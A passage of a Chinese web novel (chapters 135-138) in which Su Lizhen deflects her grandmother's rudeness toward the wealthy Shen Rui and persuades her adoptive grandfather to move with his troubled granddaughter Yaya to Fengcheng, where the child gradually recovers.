酒酣兴浓,安厂长还拽着苏卫华,对他连连竖起大拇指,“苏兄弟,你的为人我佩服!你这个朋友,真值得交。” 苏卫华听得没头没尾,只当他有些喝多了,便一个劲劝他多吃菜,又转头喊王树赶紧去厨房熬点醒酒汤。 薛老爷子在旁边看得直乐,也没提醒苏卫华。 安厂长之所以这么说是感慨苏卫华为人实在,就算是发迹了,也能保持本心,真正是个知恩图报的好人。 他看了眼旁边言笑晏晏的沈瑞,怕也是得益于苏家人这样的品行,才引来这真正的金凤凰。 这场宴席直到下午一点多钟才结束,大伙儿都比较尽兴,散场时好几个人都喝多了。 苏振东醉得最厉害,几乎人事不知,还是苏卫华和丁大勇一起给抬到二楼客房去的。 安厂长也有点迷糊,好在安夫人提前跟厂里司机打好了招呼,等车来了,连带把薛有粮老两口也一车拉走了。 其他人三三两两也都有伴,没用苏丽珍他们操心,也陆续离开了。 最后剩下苏家老宅的人,苏老头本来酒量不错,但今天也不知道是不是因为心里不痛快,总之没喝多少就上头了,整个人晕晕乎乎,靠在椅子上直哼哼。 苏老太给他灌了一大碗醒酒汤,这才缓过来一点。 因为今天实在高兴,孟知祥也跟着喝了点酒,当时没什么,过后身体就有些不舒服,这会儿苏厚德和苏卫华就都在楼上照看他。 楼下只留下李翠英母女三人,李翠英看苏老头一直拉着脸,以为他还难受得厉害,忙张罗着要带他上楼躺一躺。 苏老头扫了眼通往二楼的楼梯,到底摆了摆手,只说是想回家,整个人有些意兴阑珊的样子。 苏老头坚持要走,李翠英也不好说什么。 因为苏为民两口子和大儿子苏金宝都是骑自行车来的,回去时担心苏老头坐在车后座不安全,李翠英便拜托张表舅辛苦一趟,先用马车把老两口送回家。 岂料这时,一直没吭声的苏老太突然冒出一句:“咋让我们坐马车,他不是有小汽车吗?”边说、边往酒桌的方向瞟。 众人顺着她的目光看过去,这会儿,唯一还坐在桌前的就只有沈瑞一个。 眼下酒席刚散,服务员还没来得及将桌面全部清理干净。但是他完全不受那些狼藉的杯盏影响,一个人安静坐在那里,信手端起一杯茶水慢悠悠地喝着。那种让人一见心折的高贵气质,把身前桌上的凌乱脏污都抹去了七/八分。 这人好看得像幅画似的。 这是此刻所有人看着他时,心里默契涌出的第一个念头。 可随即他们反应过来,苏老太竟然打他的主意,众人一时无语,又有点尴尬; 反观沈瑞,明明苏老太刚刚的声音不小,可他就像没听见似的,神态悠然,楞是一个眼风都没往这边扫。 第135章 屋里霎时陷入一片安静。 苏丽珍的双眼倏地盯住苏老太,那目光锐利地几乎宛若实质。 对面的苏老太一时只觉头皮发紧,脖子下意识一缩,可还不等她再有别的反应,孙女那好像刀子一样的眼神就突然又消失了。 她有些发懵,再仔细看过去,却见苏丽珍只是淡淡垂下眼帘,脸上的表情也十分平淡。 苏丽珍此时的神情确实很自然,甚至还带了点笑意,她偏头看向婶婶郑艳红,语气亲近道:“婶婶,我刚刚看见后厨里还有不少没用完的食材。有半截海碗那么大一块的牛腱子肉,这肉最适合酱焖或者卤制了。” “还有一条我手臂这么长的大鲶鱼,我记得我金宝大哥好像很喜欢吃鲶鱼炖茄子吧?” 看着苏丽珍笑吟吟地模样,郑艳红一个激灵,马上反应过来,她“啪”地一声拍了下大腿,就对苏老太说道:“哎呦,我的娘哎,您老人家真是的!咱们是什么台面上的人物,哪能随便使唤人家开车送咱啊?” “咱待会儿就让那个张、张兄弟是吧?咱就让老张大哥用马车送咱得了,这天气坐马车,四边有风,凉快还透气,这多舒t坦啊!” 苏丽珍笑着点头附和:“婶婶说的对。” 说完,便嘱咐苏小麦,“小麦姐,你去后厨把我刚刚说的东西都包好,让我婶婶带回去,正好给我小叔和金宝大哥他们补补身子。” 眼见苏小麦真的往后厨去了,郑艳红越发高兴,那边一叠声地喊苏为民和苏金宝过去搀扶苏老头,这边则不由分说拽起苏老太就往外走。 一家人被送出饭店的时候,苏丽珍的堂姐苏丽娜在郑艳红拼命使眼色催促下,木着脸接过了苏小麦打包的东西。 她目光复杂地看了眼苏丽珍,抿了抿嘴唇,到底没说什么,坐上她哥的自行车先走了。 苏老头和苏老太坐在马车上,神情有些沮丧。唯有郑艳红,兴高采烈地跟李翠英母女三人告别,离得老远都能听见她的大嗓门。 “大嫂啊,你哪天忙不过来就给我稍信,我一定过来给你帮忙!咱都一家人,我没说道!” 人都走了,李翠英才松了口气,忍不住跟两个女儿小声嘟囔:“得亏珍珍机灵,你们奶奶这个性子……哎呦,差点忘了,小沈还在呢!”才说了一句,就直拍脑门,赶紧回了屋。 屋里,沈瑞还在悠闲地喝茶 李翠英匆匆过来,本想为之前苏老太的无礼道歉,可话到嘴边,看着眼前人那清风明月一般的舒朗气质,又想起刚才沈瑞无视苏老太的淡漠神情,她突然就觉得这事不该再提,就地翻篇最好。 只是她本也不是个能说会道的人,脑子里的想法一闪而过,虽让她适时改了口,但一时又不知说什么,只能略显局促道:“那个小沈啊,今天真是谢谢你,给我们拿了那么多酒,让你破费了。” 沈瑞对她倒是十分客气,见她过来,便从椅子上起身。 “婶婶客气了,其实您不必放在心上。我知道今天对德叔同样也是意义非凡的一天,您也知道我们两家关系亲近,所以就算是为了德叔,我拿这几瓶酒也是应当应份。何况配着您家的好菜,我自己也是没少喝的。” 磨蹭了半天不得不进屋的苏丽珍听得这一句,心里不由暗叹,果然这家伙要是想哄什么人,真是半点不费劲。 虽说之前的确是她/奶没礼貌、打人家主意不对在先,她们也不可能容许她/奶理直气壮占人家便宜,但今天这事要是换做其他人,兴许碍于情面,也能表态客气几句,或者找个别的借口,大面上过得去。 唯有沈瑞,直接全程无视,明明白白告诉大伙儿,他就是不想应付。这样自然没什么不对,可在惯来讲究人情的东北,这种做法难免突兀,容易叫人下不来台。 就拿她妈来说,她冷眼瞧着,她妈就有一点受影响,像是一时把握不准,该以什么位置、多大的交情去跟沈瑞接触。 可没想到,这家伙不过三两句话的工夫,就又把她妈拉回来了,可真是厉害。 果然,李翠英的神情不再那么紧张,看着比之前多了几分底气。一听说沈瑞没少喝,她不由关切道:“那你这会儿难受不?咱们楼上有地方,不如你也上楼休息一会儿吧,或者婶子再给你端碗醒酒汤?” 沈瑞笑道:“不用了,婶婶,我酒量尚可。只不过中午贪多了您家的美食,现在嘴里有点发腻,正好喝点这水果茶,清清口。” 李翠英听他这么说,赶忙道:“这茶都是饭前泡的,这会儿味道都淡了,小沈你先等一等,我这就叫珍珍再泡一壶来。” 说话就回头叮嘱苏丽珍,让她赶紧再去泡壶水果茶。 苏丽珍:“……” 这个家伙……她要看不出沈瑞是故意的,她这两辈子都白活! 但她现在已经反省了之前的不妥当,不会再一门心思的躲避或者抵触对方。她相信,只要她表现地无懈可击,对方就没理由怀疑她的异常。 她的想法果然没错,因为她这次从头到尾表现自然,态度平和,所以沈瑞的目光只是在她脸上扫了一下,似乎失去了对她探究的想法,喝了一杯水果茶后,很快就告辞离开了。 他一走,连苏小麦也松了口气,悄悄拍了拍胸脯对苏丽珍感叹道:“这位沈先生虽然长得好,人也贵气,但不知道为什么,我总觉得他有点吓人,就像是……” 听她这么说,苏丽珍也有些好奇,“像什么?” 苏小麦思索了一会儿,像是在脑子里寻找合适的词汇,半天才有些纠结道:“这话不好听,但我真的觉得他有点像山里的猛兽……就比如说……狼。” “狼?”苏丽珍有些讶异。 苏小麦点头:“对,就是狼。” “都说百兽之王是老虎,但是过去经常上山的老猎户最忌讳的却是狼。因为狼无论是耐心、还是报复心,都是最厉害的。它们为了得到一份食物,可以忍饥耐渴,原地坚守一、两天。” “一旦发现猎物有可乘之机,狼就会一直一直跟着对方,直到把对方杀死为止。而且如果伤了它们的同伴,不管有心、还是无意,那都是不死不休的结局。” “我觉得沈先生给我的感觉就是这样的,聪明、耐性好、手腕高,有气势,而且……” 她顿了顿,看向苏丽珍,语气有些微妙:“而且珍珍,我发现这个沈先生好像对你有些不同寻常。” 苏丽珍心里“咯噔”一声,连小麦姐都看出来了,果然她之前不是多心,沈瑞的确对她有些过分关注。 心里翻江倒海,但她面上却不显,“不会吧。小麦姐,像他这种天之骄子哪里有闲心关注咱们这样的普通人,而且我应该也没做什么得罪他的事。” 苏小麦目光微闪,原本还想说什么,但目光在苏丽珍娇嫩雪白的脸蛋上扫了扫,到底没说出口,只是笑着道:“你别乱想,倒也不一定是得罪。我觉得……也许沈先生是起了爱才之心,毕竟我们珍珍这么聪明能干,将来无论到哪里都能成大器,说不定他就想提前招揽呢?” 因为内心纠结翻腾,所以苏丽珍没看出苏小麦先前的欲言又止,只听得对方又惯常花式夸奖自己,下意识笑说了一句:“大概在小麦姐你心里,我无论怎么样都厉害。” “那种人物身边肯定都是能人,哪里需要跑来招揽我。” 姐妹俩正说着话,这时王树就过来跟苏丽珍汇报,大厅和后厨都已经收拾完了,下午随时能开门营业。 苏丽珍忙叫大伙儿找地方好好歇一歇,又让王树把今天摆酒剩下的零食和水果分给大家。 苏小麦在原地看着她窈窕的背影,心里叹了口气。 说起来,珍珍也有十七了。 这个年纪在农村的话,定亲的也不在少数了。 更不用说珍珍发育的好,皮肤又白净水灵,现在真就跟大姑娘一样漂亮招眼。 只是刚才珍珍没想到,她也不能说。 其实被人关注,不代表是得罪了对方。 更多的,是出于喜欢啊。 自从正式认亲后,苏丽珍一家与苏厚德父子越发亲近起来。 一晃儿又是三天,转眼就到了苏振东该回程的日子。 因为孟知祥不肯回首都,苏厚德实在放心不下,就打算再多留一段时间,先让儿子和孙女回去。 苏厚德原本也不放心芽芽,但是芽芽从小酷爱书法,为此他还托了沈瑞父亲帮忙,让芽芽有机会能跟一位赫赫有名的老教授学习书法。 芽芽有天分,又很用功,除了平时上学,闲暇时必定要去老师那里报到,几乎风雨无阻。 苏厚德自然不想让孙女耽误学习,之前也是因为这个原因,才没带她过来。怕她爸照顾不好她,他还特地委托了相熟的邻居帮忙照看。 虽然舍不得,可想到孩子过来这一趟,已经少说耽误了十天时间,可不能再继续耽误了。 只是他打算的挺好,没想到芽芽一听说爷爷要自己留下,不跟她一起回去,当即哭了起来。 这孩子哭也不像别的孩子那样吵闹嚎啕,她只是紧紧抓着苏厚德的衣襟,不停掉眼泪。 这样无声的哭泣,别说苏厚德和苏振东,就是苏丽珍一家都心疼得不得了。 苏厚德到底舍不得孙女这么伤心,最终还是催着苏振东往首都老教授那里打了个电话,想再给芽芽请一段时间假。 电话接通后,老教授听说了原委,倒也没生气,反而告诉苏振东,他不介意芽芽又请长假,甚至觉得她暂时停课是件好事。 苏振东这才知道,原来这半年时间,芽芽的学习状态就很不好。尤其近一个月,她不但没有任何进步,反而成绩退步得厉t害。老教授之前就想跟他们家长好好聊一聊,只是顾虑到芽芽的状况,一直没找到合适的机会。 老教授甚至在电话里很严肃地告诫苏振东,让他们做家长的一定要多注意孩子的心情,有些情况不及时干预,毁得可能是孩子的一生。 第136章 苏振东挂了电话后久久不语,看得旁边等着的苏厚德十分着急,不由催问道:“老师到底说啥子了?是不给咱芽芽批假还是怎么的?你倒是说话啊!” 于是,苏振东低低地把老教授的话复述了一遍,苏厚德听完却是脸色发白。 他瞪着苏振东,目光里有责备、有无奈,更有深深的忧虑。 期间他好几次张开嘴,可临了却一个字都没说出来。 苏家人在一旁将父子俩的一举一动看得清清楚楚,也不禁跟着担心起来。 而苏振东沉默了一会儿,忽然转身,径自走到店门外,一屁股坐在台阶上,摸出一包烟开始抽起来。 苏厚德看着他颓丧的背影,面色几变,最终都化成一声长叹。 苏丽珍悄悄拽了拽苏卫华衣袖,苏卫华反应过来,赶忙上前劝道:“干爸,楼上凉快,咱们还是上楼歇一歇吧。” 苏厚德点了点头。 等一行人回到楼上,苏卫华才犹豫着问道:“干爸,咱们都是一家人,您和振东兄弟要是有啥难事,不如说出来。咱大家一起想办法,总好过您一个人憋在心里。” 苏厚德朝他苦笑道:“卫华,干爸不是故意瞒着你们,实在是这事我都不知道该怎么开口,这都是一笔糊涂账啊!” 他语气间似有些难以启齿,可还是跟看重的干儿子一家坦白道:“振东和他媳妇感情不和,这两年一直在闹离婚。” 时下离婚还是一件性质十分严重的事,甚至在很多人眼里是“丢人现眼”的举动。 虽然特殊时期也有很多人通过离婚划清界限,但是那大多归结于人力不可违抗的因素,不像现在太平时节,谁家要是突然离婚,难免要被街坊邻里的知情人议论、嘲笑一番。 这事很无奈,可又避免不了。 是以一听苏厚德说苏振东居然在闹离婚,除了苏丽珍以外的三口人脸上都浮现出凝重之色。 既然已经开了头,余下的也没什么不好说的,苏厚德就把苏振东和妻子从结合到如今婚变的前因后果讲了一遍。 基本与苏丽珍前世了解的情况差不多,只是没有这么多具体细节。 现在苏振东夫妻已经分居两年多了,他妻子不回家,就住在单位宿舍。一开始,每周还会回来看望芽芽一次,可是对方只要一和苏振东碰面,除了离婚就再没别的话可说。 所以,两人每次都会爆发激烈的争吵,索性到后面,芽芽妈妈就连家也不回了。 苏振东不甘心,经常会去妻子单位门口守着,可是也很少能见到人。之后,他利用芽芽将人骗出来过两次,两人又当街大吵,几乎彻底撕破了脸。 也难怪芽芽的性格会变成这样。 听完这个中原委,苏卫华斟酌着率先开口,说道:“干爸,要说两口子成家过日子,最重要的就是心往一处使。如果两个人不是一条心,那勉强硬凑到一起也长远不了。” “我说话可能不中听,我看振东兄弟这情况,要是那头真铁了心,他就这么硬扛着也不是好事。两人总吵架对芽芽更不好,你们还是得早做打算。” 苏厚德叹气道:“我也知道,可这个犟种,我说他那么多次都不听。不只我,小瑞的爷爷、父亲,还有他们单位的领导也都劝过他,都知道强扭的瓜不甜,何必呢?。” “可他不愿意啊!就这么死拧着,八匹马都拽不回,非要一条道跑到黑。” 苏卫华和李翠英对视一眼,李翠英想了想,忍不住道:“总这么僵着也不是事……干爸,那您看,芽芽妈妈那边,真就一点商量的余地也没有了?怎么说芽芽还小呢。” 都是女人,她就不相信,芽芽那么好的孩子,她当妈的会那么狠心,真的说不要就不要了? 苏厚德再次苦笑一声,“我那儿媳妇其实不是个坏人,她对芽芽也还好,只是这一切跟她当初的那段感情比,什么都要靠后。说白了,就是现在她的心已经不在我们这个家上了。拖久了,早晚也要跟振东一样,把那点子母女情分磨光。” 众人闻言都面露不忍,想想芽芽这孩子实在命苦,摊上这么个妈,从今往后,怕是有也等于没有。 既然孩子妈指望不是,只能盼着苏振东这个爸爸担起责任。 可如今的苏振东也钻了牛角尖,和妻子的感情破裂至此,这段婚姻既没希望又没意义,却还一味坚持要将对方留住。 这样的他连自己都顾不好,又怎么能指望他给予芽芽安慰和依靠呢? 说来说去,这难题又兜了回来。 就在这时,苏丽珍忽然开口道:“爷爷,事已至此,那您有完全站在芽芽的角度上考虑过吗?” 她走到苏厚德身边,蹲下身,仰视着眼前的老人,“爷爷,既然东叔那里说不通,您有没有想过,先带着芽芽暂时搬出来一段时间?” 众人听得一愣,苏厚德更是彻底呆住了,他觉得眼前的孩子不像是在说笑,可好端端的,他咋能带着孩子搬出去,那这个家不就彻底散了吗? 像是看出他心中所想,苏丽珍兀自道:“爷爷,我不是跟您说笑的。” “记得我上初中的时候,老师就特意教过我们,一个孩子要长大成人,保证身心健康是基础。所以身体要健康,心理也不能出问题。” “心理是指我们的情感、情绪和思想。如同人的身体会生病、受伤一样,我们的心理也会出现各种各样的问题。” “爷爷,相比其他同龄的孩子,您觉得芽芽的心理健康吗?或者我再直白些,您觉得她这样正常吗?” 这个问题简直震耳欲聋,苏厚德也不由呼吸一滞,一时间竟有些喘不上气。 苏卫华和李翠英没想到女儿态度突然这么尖锐,忍不住出声道:“珍珍,别这样……” 没成想苏厚德却朝他们摆了摆手,目光沉重地看着苏丽珍,缓缓道:“没事,就让孩子说吧。” 苏丽珍遂继续道:“一个人的心理出了问题,也需要及时医治。东叔是成年人,不管将来结果如何都是他自己的决定。但芽芽不一样,她还那么小,也没学会如何保护自己,只能被动地裹夹在大人终日的消极对抗里。” “现在她的心理受到伤害,生了病,如果我们不能像那位老师说的那样及时干预,放任她的问题越来越严重,那芽芽还有什么未来可言?爷爷,您得为芽芽想想啊?” 苏厚德眼眶倏地一红。 他是真的看不出芽芽的情况不正常吗?当然不是!只是他老头子自私,在儿子和孙女之间,他始终放不下他一把屎、一把尿拉扯大的儿子。 因为他舍不得儿子,所以明知孙女不对劲,却还是硬着头皮守着那个家。 现在想想,他真的太糊涂了,他这是在拿孙女的一辈子在赌啊。 苏丽珍看着他难受自责的样子,心里十分不忍,可有些话她今天必须要说出来。 她再次说道:“爷爷,您和芽芽暂时先离开那个家吧!” “让芽芽远离带给她痛苦烦恼的根源,换个新环境,她的问题才有机会好转。等到她长大了,有能力分清是非曲折的时候,你们再回去。” 她将自己的手覆在老人冰凉的手背上,真心道:“爷爷,有些事需要趁早做决断。我让您带着芽芽暂时离开,也不只是为了你们祖孙俩,我也是在为东叔着想。” 她直视着苏厚德发红的双眼,握着老人的手也紧了紧。 “爷爷,我们老师说,人这一辈子要做的事很多,谁也不能只为一个人或者一件事而活。东叔现在正需要下一剂猛药,您不能陪着他一辈子。现在狠一狠心,总比年老力竭却一无所有强!” 这几句话,实在振聋发聩。 苏厚德本就不是个糊涂性子,只是太过在乎自己唯一的儿子,一时左了心思。 确实是他想错了,振东陷入这段感情,整个人也慢慢变了。万一他一直想不开,最后真的一条道跑到黑,那他这辈子十有八/九也完了。 珍珍说的对,也是时候让这小子明白,人活着不能只有爱情。他今年才三十四岁,他的人生还那么长,不能把自己t困死在一段没希望的感情里。 还有他的芽芽,她的爹妈,他留不住、也管不好,现在只有他这个当爷爷的能保护她了。从今往后,他要把这个苦命的孩子放在第一位,只要他活着一天,他就守着她一天。 苏厚德心里有了决断,他顺势紧紧回握住苏丽珍的双手,重重点了点头,“孩子,你说的对!我现在第一要紧的就是顾好芽芽,这次回去,我就找地方,带着芽芽搬出去。” 苏丽珍听得心中一喜,顺势道:“爷爷,那不如您和芽芽索性就留在凤城吧。您留下,孟姑爷爷也有了伴,您也不用总是担心他。” “而且我们一家也在凤城,您和孟姑爷爷可以搬过来跟我们一起住;如果嫌人多吵闹,也可以就近租个小房子,我们也能随时照顾您。” 苏厚德听得一怔,随即反应过来忙摆手,“不行、不行,这几天已经给你们添了不少麻烦,就算我们要留下,也不能搬过来。” 他现在对苏丽珍说的留在凤城这个建议,确实有些动心。 苏卫华和李翠英看了闺女一眼,眼中多少有些不赞同。 他们当然不是不乐意让干爸带着芽芽搬到自家,只是对女儿这样贸然掺和干爸的家事,还这样明晃晃地拿主意感到不妥。 毕竟就是再亲近的人家,有些事也不能越界。各家有各家的打算,他们可以提建议和看法,适当规劝,但不能自持跟人家关系好,就大咧咧地掺和甚至干涉人家的家务事。 但是话赶到这儿,他们不能给闺女拆台,再者也不能让干爸多心,所以苏卫华赶忙道:“对,干爸,您要是留在凤城,就搬来跟我们一起住吧!您看我这儿地方够大,家里东西又都是现成的,您和孟姑父住着也方便。” 李翠英也说:“对,干爸搬过来,咱们时间充裕,正好我有好些菜品需要改进,有干爸在旁边给我把关,我这心里也稳当些。” 苏丽珍一家如此真心实意,苏厚德心里很是感动,不过他到底还是没吐口,只说到时候还得跟孟知详商量商量。 能不能搬到苏家来不一定,但看上去留在凤城这事却有了个八/九成把握。 这就已经足够让苏丽珍满意了。 先把人留下来,其他的再慢慢做打算。 第137章 苏厚德现在的确是属意留在凤城,但是他还想最后再考验苏振东一次。 从苏家出来,苏厚德将苏振东单独叫到一旁,看着儿子没精打采的样子,他心疼又难受,同时心底也升起一点微弱的希望。 儿子既然对芽芽老师的话反应这么大,那这回是不是能有所改变呢? 于是,他板着脸道:“我问你,刚刚听了教授的话,你现在心里是怎么想的?” 苏振东闻言迟疑了一瞬,情绪低落道:“爸,是我这个当父亲的没做好,我……我对不起芽芽。” 苏厚德皱眉:“一句对不起就完了?然后呢?你就没想着要为孩子做点啥?” 苏振东这次却没再出声,而是垂下头,良久才低低道:“爸,我不是个好父亲。芽芽以后……恐怕还得您老费心……” 苏厚德没想到等了半天,就只等来这么一句话,霎时间怒从心起。 “我费心!她是死了爹、还是没了娘,要我一个六十多岁的老头子费心?” “你还打算这么耗下去,是不是?就算她杜晓兰打定主意不跟你过了,你也要这么没脸没皮地死拖着不放,是不是?” “就算你爹和你闺女,我们两个人加在一起也比不上她杜晓兰的一个手指头,是不是?” “苏振东,你到底有没有心啊?” 一连串的质问让苏振东红了眼,可他嘴唇翕动,到底什么也没说。 苏厚德看着他这副样子,失望地闭了闭眼,心里冰凉一片。 等他再次睁开眼睛时,眼中已经恢复了平静。 “既然这就是你的答案,那我也没什么好说的。以后芽芽的事,我不用你们操心。” 看着儿子略显狼狈的神情,这次他的语气却十分平静。 “明天你回去,我和芽芽就不走了。不只是这个暑假,今后我打算带着芽芽留在凤城。” 苏振东险些以为自己听错了,猛然抬起头,“爸,你们……” 苏厚德却直接打断他:“我不是在跟你商量,我只是告诉你一声。过阵子,我会回去一趟,我还要去找杜晓兰谈一谈。然后,把芽芽的学籍也转过来。” “既然你没法给芽芽一个健康快乐的家,那我就带她走。我不能看着你们这对不负责任的父母把这孩子毁了。如果你还有一点身为人父的担当,就别为这事拦着我。” 说完,便毫不留恋地转身走了。 剩下苏振东站在原地,眼角通红,像个被遗弃的孩子。 他也不知道站了多久,直到耳边响起一道略带诧异的声音。 “东哥?” 苏振东转过头,原来是沈瑞来了。 他胡乱搓了一把脸,强装镇定地招呼道:“小瑞来了!” 沈瑞看着他狼狈的样子,眸中闪过一抹了然,但也没说什么,只是淡淡点头:“我手头上的事都处理差不多了,知道德叔和你都惦记去看二哥,所以过来接你们。” 沈瑞的二哥沈瑜终于完成任务,昨天夜里回来了。苏厚德父子跟沈家三兄弟的关系都不错,知道他完成任务回来,总要亲眼去看看才安心。 听说去看沈瑜,苏振东终于打起了精神。只是想着待会儿要和老父亲同坐一车,想起苏厚德之前的态度,他心里登时一疼,两脚就像千斤重,怎么也迈不出去。 沈瑞见他这样,心里叹了一口气,看在苏厚德的面子上,还是态度温和地主动问道:“东哥怎么了?又和德叔吵架了?” 也许是真的被父亲的决定打击到了,苏振东听得他这格外亲切的问询,就像抓住了救命的稻草,再也绷不住,将苏厚德刚刚跟他说的话一股脑都说了出来。 沈瑞默默听完,许久才缓缓道:“东哥,我们是成年人,成年人要为自己做的事负责。所以每次做决定前,我都希望你能慎之又慎,毕竟人生没有回头路。” 他淡淡注视着苏振东,声音像他的人一样,很多时候看似亲近,实则疏远,只是心神不够敏锐的人很难察觉。 “东哥,跟我出去走一走吧,就像德叔当年那样。有机会多看看这世界,你会明白一个人的活法有很多,并不永远只是抬头这一片天。” 苏振东有些听住了,望着对面车水马龙的街道怔怔出神。 沈瑞也不再开口。其实如果不是因为德叔的关系,他连这几句话都不想说。 在他看来,苏振东最大的问题是永远看不清楚自己,所以才总是执迷于那些对他来说,既不适合、也不实际的东西。 他的痛苦和烦恼,有一大半是自己找的。 让德叔带着芽芽离开这个家,对他来说,也确实不失为一个好办法。有时候,守着珍宝的时间太久了,反而不把珍宝当作宝,总要让他尝到失去的滋味,才知晓珍宝的可贵。 不过…… 他瞥了眼身后洋楼二层那间挂着粉色窗帘的房间,心里明镜一般。 德叔突然做出这样的决定,十有八九跟那个女孩有关。 德叔父子都是当局者迷,对那个女孩来说,恐怕把德叔留下才是主要目的吧。 现在他真的更好奇了,到底为了什么,她要对德叔这样执着呢? 想起这几天女孩一百八十度大转弯的态度,看似收起了尖牙利爪,表现的一板一眼、圆滑有礼,实则既疏离、又防备,还让人挑不出错来。 真厉害啊,一个女孩子明明浑身都是秘密,却偏偏能藏得这样好。 他忍不住悄悄扬起唇角,估计他一时半会是参不透这个秘密了。 不过无妨,这世上解不开的谜题有很多,但一点也不耽误这些谜题自身散发出迷人的魅力。且越神秘,越能引得人们千方百计探求答案。 所以暂时解不开、猜不透也没关系,不妨碍他从旁欣赏。 况且,他一向耐性绝佳。 秋风起,硕果香,一晃两个多月过去,又是一年中秋好时节。 今年中秋正巧赶上国庆,双节大庆,整个凤城市都洋溢着节日的欢快气氛。 中秋节讲究阖家团圆,而且饭店上下从半个月前开始就为今年的中秋卤味礼盒忙碌,因为“珍珍”如今的招牌响亮,这礼盒订单几乎雪花一样,可把大伙儿忙得不轻。 好在有苏厚德、张表舅和丁大娘他们帮忙t,连孟知详都拦了个烧火的差事,总算把这一笔笔订单圆满完成。客人们满意,饭店的收益火爆,可谓皆大欢喜。 所以苏卫华就拍板,今年过节除了犒劳大家的大红包,饭店也放假一天,让大伙儿都好好歇一歇。 中秋节清早,接待完最后一批预定卤味的老客,这一天基本就没什么事了。 苏丽珍合上账册,准备回楼上换衣服。出了柜台,就见李翠英和苏小麦带着芽芽在桌前讨论中午的菜单。 芽芽眨巴着大眼睛,正殷切地望着李翠英:“大娘,我们今天也吃松鼠鱼吗?” 李翠英宠溺地摸了摸她的小脑袋:“那当然!因为我们芽芽最喜欢这道菜啊!” 芽芽听了,高兴地小脸红扑扑:“谢谢大娘,芽芽最喜欢吃松鼠鱼了!” 一旁的苏小麦忍不住逗她:“咦,芽芽现在最喜欢吃松鼠鱼吗?可我明明记得,上个月有个特别可爱的小姑娘一直在说张舅舅家的炸泥鳅最好吃呀?” 芽芽听完抿嘴一笑,一边害羞地往李翠英怀里钻,一边小声说道:“是芽芽说的,芽芽也最喜欢炸泥鳅。” 这小模样真是可爱极了,惹得李翠英和苏小麦都笑个不停。 苏丽珍在旁边看着,也忍不住跟着弯起了唇角。 芽芽跟当初刚来凤城时比,明显开朗了很多。 当初苏厚德决定留下后,很快就得到了孟知祥的支持。 两个老人婉拒了苏家的邀请,由孟知详拍板,将自己名下在“富人巷”的两座大宅中稍小的一座收拾出来,他和苏厚德祖孙一起搬过去住。 孟知详也为此答应留在凤城生活,只每月定期去太平庄一趟,看看妻儿的坟冢。 他能留下,不再去荒僻的太平庄日日睹物思人,放任自己的身体日渐衰败,这对苏厚德来说,自然是不亚于芽芽心理康复的一桩大事。 而芽芽呢,这孩子的心理的确是出了问题,并不是之前苏丽珍危言耸听。 在苏厚德做出留下的决定后,他就带着芽芽先后去了凤城和首都几家医院,询问芽芽的情况。 结果最终被医生证实,芽芽确实患上了心理疾病,好在程度较轻,以家长精心呵护为主,治疗干预为辅,完全有机会能够康复。 得知了这个结果,苏厚德又是后悔、又是庆幸。后悔从前一心只惦记儿子,放任孙女被这个家伤害至此;庆幸苏丽珍的告诫及时,总算没让他错到底,当真毁了孙女的一生。 之后苏厚德带着芽芽回到凤城,因为孟知详的宅子长时间没人居住,实在破败得厉害,苏丽珍便安排自家的建筑公司里外、系统地修整了一番。 那房子实在不小,工期前后花了一个多月的时间。 这一个多月里,苏厚德三人大多数时间都住在苏家。 期间苏丽珍也一直记着,当初承诺要帮张表舅所在的张家庄人学习科学养殖和大棚种植技术这事。等苏厚德这边一安排妥当,她就马上着手去农大联系赵教授和石磊,请他们帮忙牵线,介绍可靠的技术人员到张家庄教学。 过程非常顺利,张家庄的人那会儿听说有这样的好事,也都异常欣喜,一个个铆足了劲认真学习。 苏丽珍之前见过的大队长和书记也是有心人,为了能更好地帮助大家学习,不辜负苏丽珍的一番心意,早在张表舅刚跟他提起这事的时候,就把全大队的人集中在一起,每天早晚先学习汉语拼音。 这番临阵磨枪果然起了大作用,当教技术的老师们来了以后,村里人一边听课,一边用学到的汉语拼音作笔记。虽说磕磕绊绊,但到底把老师们教的知识都一字不漏的记了下来。 等下了课,村民们各自对着自己的笔记反复琢磨,有不会的就向老师们请教。如此费去许多心血,还真学成了大半。 大伙儿现学现用,别的不说,就科学养殖这一块,一个多月的时间,各家院子里的鸡鸭鹅、猪圈里的猪羊,那真是眼瞅着比从前长肉快,一只只可壮实了,关键是数量多了也没闹瘟。 虽说时间尚短,不能过早下定论,但这大好的势头还是让村里人心里一片火热。 张家屯的人为此很感激苏丽珍,一直还想邀请她再来村里作客。为这事,张家屯的大队书记还亲自进城一趟,特地来邀请苏丽珍一家。 盛情难却,加上苏丽珍想起之前去张表舅家游玩那两天,因为接近大自然,徜徉在山水田间,确实心情放松许多。 她那时想着,芽芽是最需要保持心情舒畅的,索性就跟苏爷爷提议,趁着夏天还有一点尾巴,也带芽芽去乡下玩几天。 第138章 能对芽芽好的事,苏厚德自然欣然同意。 所以,那次除了苏卫华夫妻留守饭店,其他人都去了张家屯。 那是从出生就生活在首都的芽芽第一次到乡下玩耍,美丽的青山绿水,热情好客的小伙伴们,还有好吃到让人流连忘返的乡间美食,这诸多美好最终深深打动了芽芽,让小姑娘渐渐忘却了破碎家庭带来的痛苦悲伤。 芽芽脸上的笑容一天比一天多,也不像之前那样安静,苏厚德甚至听到她在跟着屯子里的小伙伴们一边摸鱼、一边唱歌。 老爷子当天晚上高兴得一宿没睡着。 总之,那趟张家屯之行十分圆满,芽芽不再像之前那样总是躲在爷爷身后,把自己封闭起来。 她开始一点点主动接触、了解和熟悉这座城市,以及这里的一切。 看着小姑娘如今越来越开朗的样子,所有人由衷的高兴和欣慰。 苏丽珍此刻的心情也非常好,直到换好了衣服、再次下楼时,脸上都带着笑。 这会儿李翠英她们已经定好了菜单,苏卫华刚在厨房收拾好了老大一条鱼,正对着菜单子兴致勃勃发表意见。 苏丽珍心里纳罕,她爸一向啥啥都爱吃,从不挑食,胃口好得很,今天倒难得点上菜了。 结果走近一细听,原来是她爸馋酒了。 当初苏卫华手术成功出院的时候,医生就叮嘱了,虽然他病情控制得不错,但今后烟酒都是绝对不能碰的。 尤其是酒,对于有心脏病史的人,一口都不能沾。 所以,李翠英对此的反应是直接拿后脑勺对着他,压根不搭理他。 苏丽珍和苏小麦不由抿嘴偷笑。 今天是过节气氛好,要是平常,苏卫华敢提这个,李翠英保准给他一顿排揎。 两人都只笑不说话。只有芽芽看苏卫华可怜巴巴的,于是主动上前拉住他的手,软糯糯道:“大伯,你不要不开心,我可以让爷爷给你做酒鬼花生吃!” 